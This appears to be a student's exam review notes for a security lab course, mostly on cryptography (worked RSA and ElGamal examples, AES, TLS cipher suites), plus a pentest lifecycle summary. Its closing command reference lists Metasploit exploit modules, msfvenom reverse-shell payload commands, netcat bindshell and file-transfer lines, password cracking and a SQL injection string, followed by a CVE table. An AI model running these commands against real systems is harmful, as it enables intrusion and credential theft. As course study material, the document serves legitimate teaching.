New attack surface: Bluetooth (jamming, fake devices, data interception), Cloud (fake cloud service, data leaks, outages), Third-party device (sends manipulated readings).

Key insight: adding Bluetooth + cloud significantly expands attack surface vs local-only app.

LAB 9 — CRYPTOGRAPHY

9.1 Caesar Cipher & Substitution Cipher

Caesar cipher: shifts each letter by a fixed number. The lab example used key=11 (shift of 11), decrypting "IWXH XH P KTGN DAS RXEWTG" to "THIS IS A VERY OLD CIPHER."

Substitution cipher: each letter maps to a different letter (not a simple shift). Much harder to break than Caesar but still vulnerable to frequency analysis (letter frequency patterns in the language).

9.2 AES vs RSA (know these differences cold)

Property	AES	RSA
Type	Symmetric (same key encrypts and decrypts)	Asymmetric (public key encrypts, private key decrypts)
Speed	Much faster, designed for bulk data	Much slower, computationally expensive (modular exponentiation)
Typical use	Encrypting actual data (bulk encryption)	Key exchange, digital signatures, encrypting small messages
Key sizes	128, 192, or 256 bits	2048, 3072, or 4096 bits
How they work together	In practice: RSA exchanges the AES key, then AES encrypts the data	RSA encrypts a small symmetric key, not the data itself

Why AES is not broken: No practical attack faster than brute force is known against full AES. Extensively studied for years. Key sizes (128/192/256 bit) make brute force infeasible with current computing power.

9.3 RSA vs ElGamal

Property	RSA	ElGamal
Based on	Factoring large integers	Discrete logarithm problem
Deterministic?	Yes (textbook RSA) — same plaintext + same key = same ciphertext	No (probabilistic) — uses fresh randomness each time
Ciphertext	Single value	Pair (c1, c2) — ciphertext expansion
Randomness	Must be added via padding (OAEP)	Built-in by design

RSA-OAEP (important concept): Textbook RSA is insecure because it's deterministic (leaks structure). RSA-OAEP adds randomized padding before encryption, making it secure against chosen-ciphertext attacks. **Key rule: never use plain RSA directly — always use secure padding like OAEP.**

9.4 RSA Calculation (know the steps)

Given p=5, q=11, e=13:

1. $n = p \times q = 55$
2. $\phi(n) = (p-1)(q-1) = 4 \times 10 = 40$
3. Find d such that $e \times d \equiv 1 \pmod{\phi(n)} \rightarrow 13d \equiv 1 \pmod{40} \rightarrow$ **d = 37**
4. Encrypt m=9: $c = m^e \bmod n = 9^{13} \bmod 55 =$ **14**
5. Decrypt c=14: $m = c^d \bmod n = 14^{37} \bmod 55 =$ **9** ✓

The key components:

- Public key: (n, e) = (55, 13)
- Private key: d = 37
- Encryption: $c = m^e \bmod n$
- Decryption: $m = c^d \bmod n$

9.5 ElGamal Calculation (know the steps)

Given p=23, g=5, choose x=6:

1. $h = g^x \bmod p = 5^6 \bmod 23 =$ **8** (public key component)

Encrypt m=10 with random k=3:

- $c1 = g^k \bmod p = 5^3 \bmod 23 =$ **10**
- $c2 = m \times h^k \bmod p = 10 \times 8^3 \bmod 23 = 10 \times 6 = 60 \bmod 23 =$ **14**
- Ciphertext: **(c1, c2) = (10, 14)**

Decrypt:

- $s = c1^x \bmod p = 10^6 \bmod 23 =$ **6**
- $s^{-1} \bmod 23 =$ **4** (because $6 \times 4 = 24 \equiv 1 \bmod 23$)
- $m = c2 \times s^{-1} \bmod p = 14 \times 4 \bmod 23 = 56 \bmod 23 =$ **10** ✓

9.6 Brute Force Estimation

80-bit key, computer tries 2^{30} keys/second:

- Total keys: 2^{80}
- Time: $2^{80} / 2^{30} =$ **2^{50} seconds ≈ 35.7 million years**
- This is generally an **optimistic** estimate (assumes constant rate, no overhead, no bottlenecks). Specialized hardware could be faster; real systems usually slower.

9.7 TLS / HTTPS (Exercise 5)

What to know about a TLS connection (using GitHub as example):

- **Connection encrypted:** Yes, via HTTPS/TLS
- **TLS versions:** GitHub supports TLS 1.3 and TLS 1.2 (not 1.1, 1.0, or SSL)
- **Cipher suites and what each part means:**

For `TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256`:

Component	What It Is	Role
ECDHE	Elliptic Curve Diffie-Hellman Ephemeral	Key exchange (provides forward secrecy)
RSA	RSA	Authentication / digital signatures
AES_128_GCM	AES 128-bit in Galois/Counter Mode	Symmetric encryption of actual traffic
SHA256	SHA-256 hash function	Integrity / part of TLS handshake

Forward secrecy (ECDHE): even if the server's long-term private key is compromised later, past session traffic cannot be decrypted because each session used a unique ephemeral key that was discarded.

TLS 1.3 cipher suites are simpler (e.g., `TLS_AES_128_GCM_SHA256`) because key exchange and authentication are negotiated separately.

Lab 09 · Notes: Cryptography

Classical Ciphers:

- Caesar: shift by fixed amount. 25 possible keys = trivially breakable.
- Substitution: each letter maps to different letter. Broken via frequency analysis.

Symmetric vs Asymmetric:

- Symmetric (AES): same key for encrypt + decrypt. Fast. Bulk data. Problem: key sharing.
- Asymmetric (RSA/ElGamal): public encrypts, private decrypts. Slow. Key exchange, signatures.
- In practice (TLS): asymmetric exchanges symmetric key, then AES encrypts data.

AES:

Symmetric block cipher. Keys: 128/192/256 bits. Not broken: no attack faster than brute force. Much faster than RSA.

RSA:

Based on: difficulty of factoring large integers ($n = p \times q$). Key gen: $n=p\times q$, $\phi(n)=(p-1)(q-1)$, choose e coprime to $\phi(n)$, $d = e^{-1} \bmod \phi(n)$. Encrypt: $c = m^e \bmod n$. Decrypt: $m = c^d \bmod n$. Lab: $p=5$, $q=11$, $e=13 \rightarrow n=55$, $\phi=40$, $d=37$. $m=9 \rightarrow c=14 \rightarrow$ decrypts to 9.

RSA-OAEP: plain RSA is deterministic (same input = same output) = insecure. OAEP adds randomized padding. Never use plain RSA.

ElGamal:

Based on: discrete logarithm problem. Naturally probabilistic (random k each time). Ciphertext = pair (c1, c2) $\rightarrow$ ciphertext expansion. Key: prime p, generator g, private x, public $h = g^x \bmod p$. Encrypt: $c1 = g^k \bmod p$, $c2 = m \times h^k \bmod p$. Decrypt: $s = c1^x \bmod p$, $m = c2 \times s^{-1} \bmod p$. Lab: $p=23$, $g=5$, $x=6$, $h=8$, $m=10$, $k=3 \rightarrow (10,14) \rightarrow$ decrypts to 10.

RSA vs ElGamal:

- RSA: deterministic (without OAEP), one ciphertext value, integer factoring.

- ElGamal: probabilistic by design, pair (c1,c2), discrete logarithm.

Brute Force:

80-bit key = 2^{80} keys. At 2^{30} keys/sec: 2^{50} seconds ≈ 35.7 million years. Formula: time = 2^{key_bits} / keys_per_second.

TLS / HTTPS:

Modern: TLS 1.3 + 1.2. Deprecated: TLS 1.1/1.0/SSL.

Cipher suite `TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256`: ECDHE = key exchange (forward secrecy), RSA = authentication (server cert), AES_128_GCM = symmetric encryption (bulk data), SHA256 = hash (integrity).

`TLS_AES_128_GCM_SHA256` (TLS 1.3): always uses ECDHE, so suite only lists encryption + hash.

Forward secrecy: past sessions safe even if private key later compromised.

CROSS-LAB CONCEPTS (Likely Exam Themes)

The Full Attack Lifecycle (Labs 2 → 3 → 5)

1. **Reconnaissance** (Lab 2): whois, DNS lookups → map infrastructure
2. **Scanning** (Lab 2): Nmap → find open ports and services
3. **Vulnerability Assessment** (Lab 2): Nessus/GVM → identify specific CVEs
4. **Exploitation** (Lab 3): Metasploit → gain access
5. **Post-Exploitation** (Lab 3): harvest credentials, establish persistence, lateral movement
6. **Reporting** (Lab 3): executive summary + technical findings + remediation

Defense in Depth

Multiple labs demonstrate that no single control is sufficient:

- Lab 2: no single scanner finds everything
- Lab 5: SQL injection bypasses network security by going through the web app
- Lab 6: different DoS types target different layers
- Lab 8: STRIDE shows threats at every component and trust boundary

Authentication & Credentials Theme

Across all labs: default credentials, empty passwords, weak hashing (MD5), trust-based auth (rlogin), and credential reuse are the most common enablers of compromise. Strong authentication (MFA, key-based, bcrypt/Argon2) is the most impactful single fix.

Encryption Theme (Lab 9 connecting to others)

- Lab 5: passwords stored with MD5 (bad) — should use bcrypt/Argon2
- Lab 2: Telnet/FTP/rlogin transmit in cleartext — should use SSH/SFTP
- Lab 9: AES for bulk encryption, RSA for key exchange, TLS protects web traffic
- Lab 2: SSL v2/v3 deprecated, weak ciphers flagged by scanners — use TLS 1.2+

QUICK COMMAND REFERENCE

Purpose	Command
Whois domain	whois sdu.dk
Resolve hostname	host www.sdu.dk
SYN scan	sudo nmap -sS <target>
Connect scan	sudo nmap -sT <target>
Full scan	sudo nmap -sV -O -sC <target>
Exploit vsftpd	use exploit/unix/ftp/vsftpd_234_backdoor
Exploit UnrealIRCd	use exploit/unix/irc/unreal_ircd_3281_backdoor
Exploit Samba	use exploit/multi/samba/usermap_script
Exploit EternalBlue	use exploit/windows/smb/ms17_010_eternalblue
WinRM login	use auxiliary/scanner/winrm/winrm_login
Connect to bindshell	nc 10.0.2.4 1524
rlogin root	rlogin -l root 10.0.2.4
Create Linux payload	msfvenom -a x86 --platform linux -f elf -p linux/x86/meterpreter/reverse_tcp lhost=<IP> lport=4444 -o payload.elf
Create Windows payload	msfvenom -a x86 --platform windows -f exe -p windows/meterpreter/reverse_tcp lhost=<IP> lport=4444 -o payload.exe
Start listener	use exploit/multi/handler → set payload, LHOST, LPORT → run
Netcat receive file	nc -lvnp 5555 > payload.elf
Netcat send file	nc <target> 5555 < payload.elf
Crack passwords	john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
SQL injection test	' OR 1=1#

KEY CVEs TO KNOW

CVE	What	Affected	CVSS
CVE-2011-2523	vsftpd 2.3.4 backdoor	FTP port 21	9.8
CVE-2010-2075	UnrealIRCd 3.2.8.1 backdoor	IRC port 6667	7.5-10.0
CVE-2007-2447	Samba username map script injection	SMB port 445	6.0
CVE-2017-0144	EternalBlue (MS17-010) SMBv1 buffer overflow	SMB port 445	9.3
CVE-2019-0708	BlueKeep — RDP pre-auth RCE (wormable)	RDP port 3389	9.8
CVE-2020-1938	Ghostcat — Apache Tomcat AJP	AJP port 8009	9.8
CVE-2012-1823	PHP CGI RCE	HTTP port 80	9.8
CVE-2014-6271	Bash Shellshock	Local bash	9.8
CVE-2008-0166	Weak Debian OpenSSH keys	SSH	9.8
CVE-2014-3120	Elasticsearch dynamic script RCE	Port 9200	High